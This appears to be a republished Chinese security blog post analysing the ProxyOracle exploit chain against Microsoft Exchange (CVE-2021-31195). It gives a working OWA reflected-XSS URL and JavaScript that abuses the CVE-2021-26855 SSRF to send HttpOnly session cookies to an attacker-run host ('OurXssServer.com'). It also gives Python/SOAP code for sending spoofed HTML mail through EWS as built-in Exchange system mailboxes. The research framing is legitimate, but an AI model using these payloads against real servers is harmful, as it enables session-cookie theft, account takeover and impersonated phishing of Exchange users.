

ProxyOracle利用分析1——CVE-2021-31195
source link: https://3gstudent.github.io/ProxyOracle%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%901-CVE-2021-31195
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

ProxyOracle利用分析1——CVE-2021-31195
19 Aug 20210x00 前言
我和Evi1cg一起复现了ProxyOracle攻击链,本文仅在技术研究的角度记录研究ProxyOracle中的细节,分析利用思路。
0x01 简介
本文将要介绍以下内容:
- XSS复现
- HttpOnly绕过
- XSS平台搭建
0x02 XSS复现
测试环境:
- Exchange Server IP: 192.168.1.1
用户登录后访问如下链接:
https://192.168.1.1/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.cookie)//
触发XSS,如下图
但是这里无法显示我们想要的Cookie数据,具体名称如下:
- cadata
- cadataTTL
- cadataKey
- cadataIV
- cadataSig
查看以上Cookie的HttpOnly属性,如下图
可以看到以上Cookie设置了HttpOnly属性,可用来防止XSS攻击,通过js脚本将无法读取到Cookie信息
0x03 HttpOnly绕过
为了能够读取受HttpOnly属性保护的Cookie信息,我们需要借助SSRF漏洞,控制Exchange服务器将Cookie信息发送至我们自己搭建的XSS平台
这里需要注意以下细节:
1.SSRF漏洞的选择
(1)CVE-2021-26855
能够访问外部XSS平台
能够使用ajax模拟用户发包触发SSRF漏洞
(2)CVE-2021-28480
能够访问外部XSS平台
无法使用ajax模拟用户发包触发SSRF漏洞(无法修改Cookie中的X-BackEndCookie)
(3)CVE-2021-34473
无法访问外部XSS平台
因此,最终的选择为CVE-2021-26855
2.XSS平台搭建
由于我们借助了SSRF漏洞,控制Exchange服务器将Cookie信息发送至XSS平台,导致我们最终想要的Cookie信息位于Request Headers中
而现有的XSS平台大都是通过POST请求的参数来传递数据
为了解决这个问题,这里可以选择我之前开源的XSS平台,地址如下:
https://github.com/3gstudent/pyXSSPlatform
只需要修改以下位置:
- 修改index.js,使用ajax模拟用户发包触发SSRF漏洞
- 修改pyXSSPlatform.py,将GET请求的Request Headers进行提取
- 使用合法的证书
index.js代码示例:
var xmlHttp = new XMLHttpRequest();
xmlhttp.open("GET", "https://192.168.1.1/owa/auth/x.js", false);
document.cookie = "X-AnonResource=true";
document.cookie = "X-AnonResource-Backend=OurXssServer.com/#~1";
xmlhttp.send();
3.XSS利用代码
控制用户访问XSS平台的代码示例:
https://192.168.1.1/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.head.appendChild(document.createElement(/script/.source)).src=/https:\/\/OurXssServer.com\/index.js/.source//
0x04 伪造邮件
1.伪造成Exchange的默认用户
在之前的文章《ProxyShell利用分析1——CVE-2021-34473》中提到:通过CVE-2021-34473,我们可以模拟成任意用户身份进行EWS调用操作
并且,Exchange中默认存在以下四个用户可供使用:
- SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}
- SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}
- SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}(Exchange 2016 CU8 and later)
- SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}(Exchange 2016 CU8 and later)
结合以上信息,我们可以模拟成Exchange的默认用户来发送邮件,对应名称如下:
- SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}:Microsoft Exchange
- SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}:Microsoft Exchange
- SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}(Exchange 2016 CU8 and later):E4E Encryption Store - Active
- SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}(Exchange 2016 CU8 and later):Microsoft Exchange
2.通过EWS发送超链接
格式参考:
https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/createitem-operation-email-message
但是我没有找到通过EWS发送超链接的格式
这里我是通过抓包的方式获得了正确的SOAP格式,方法可参考之前的文章《渗透基础——通过Outlook Web Access(OWA)读取Exchange邮件的命令行实现》
需要注意以下部分:
- 使用CreateItem发送邮件
- SendOnly表示只发送邮件,不保存
- BodyType需要设置为HTML
- 正文内容需要注意XML的转义字符
Python示例代码如下:
def escape(_str):
_str = _str.replace("&", "&")
_str = _str.replace("<", "<")
_str = _str.replace(">", ">")
_str = _str.replace("\"", """)
return _str
linkData = "Click here"
linkURL = "https://test.com"
payload = "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"><style type=\"text/css\" style=\"display:none;\"><!-- P {margin-top:0;margin-bottom:0;} --></style></head><body dir=\"ltr\"><div id=\"divtagdefaultwrapper\" style=\"font-size:12pt;color:#000000;font-family:Calibri,Helvetica,sans-serif;\" dir=\"ltr\"><p><a href=\"" + linkURL + "\" class=\"OWAAutoLink\">" + linkData + "</a></p></div></body></html>"
POST_BODY = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:m="https://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="https://schemas.microsoft.com/exchange/services/2006/types">
<soap:Body>
<m:CreateItem MessageDisposition="SendOnly">
<m:Items>
<t:Message>
<t:Subject>Test Subject</t:Subject>
<t:Body BodyType="HTML">{payload}</t:Body>
<t:ToRecipients>
<t:Mailbox>
<t:EmailAddress>{mailuserTo}</t:EmailAddress>
</t:Mailbox>
</t:ToRecipients>
</t:Message>
</m:Items>
</m:CreateItem>
</soap:Body>
</soap:Envelope>
'''
POST_BODY = POST_BODY.format(payload = escape(payload), mailuserTo = "[email protected]")
0x05 小结
对于CVE-2021-31195,不仅可以用来获得用户的Cookie信息,同样可以使用其他XSS的利用方法,例如截取屏幕和模拟用户发包修改收件箱访问权限
Recommend
-
11
Apache OFBiz CVE-2021-29200 简要分析 Apache OFBiz CVE-2021-29200 简要分析 r00...
-
23
robots CVE-2021-33739 释放CInteractionTrackerMarshaler对象时,只是清除了objChannel保存的对象数组指针,但是没有清除CInteractionTrackerBindingManagerMarshaler对象指向CInteractionT...
-
9
Orange This is Orange Speaking :) 2021年8月6日 星期五...
-
4
ProxyShell利用分析2——CVE-2021-34523 13 Aug 20210x00 前言 本文将要介绍ProxyShell中第二个漏洞的细节,分析利用思路。 0x01 简介 本文将要介绍以下内容: CommonAccessToken Exch...
-
5
ProxyShell利用分析1——CVE-2021-34473 12 Aug 20210x00 前言 Orange在今年的BlackHat演讲中介绍了在Pwn2Own 2021上使用的Microsoft Exchange攻击链,他分享的
-
4
ProxyOracle利用分析2——CVE-2021-31196 20 Aug 2021 0x00 前言 在上篇文章《ProxyOracle利用分析1——CVE-2021-31195》介绍了获得用户Cookie信息的思路,本文将要介绍如何通过Padding Oracle Attack还原出用户明文口令 0...
-
4
前言CVE-2021-34486是在ETW请求更新周期性捕获中的UAF漏洞,可以通过分配可控的缓冲区,释放,二次使用该缓冲区来执行任意代码。01 影响版本https://msrc.microsoft.com/update-guide/vulnerabilit...
-
8
[原创]CVE-2021-31956分析与利用 ...
-
7
0x10 漏洞背景GitLab 是美国 GitLab 公司的一款使用 Ruby on Rails 开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug 列表等。 于 2021-03-14,William Bowling 在
-
7
CVE-2020-9273 ProFTPd RCE 漏洞分析与利用 1小时之前 2022年12月01日...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK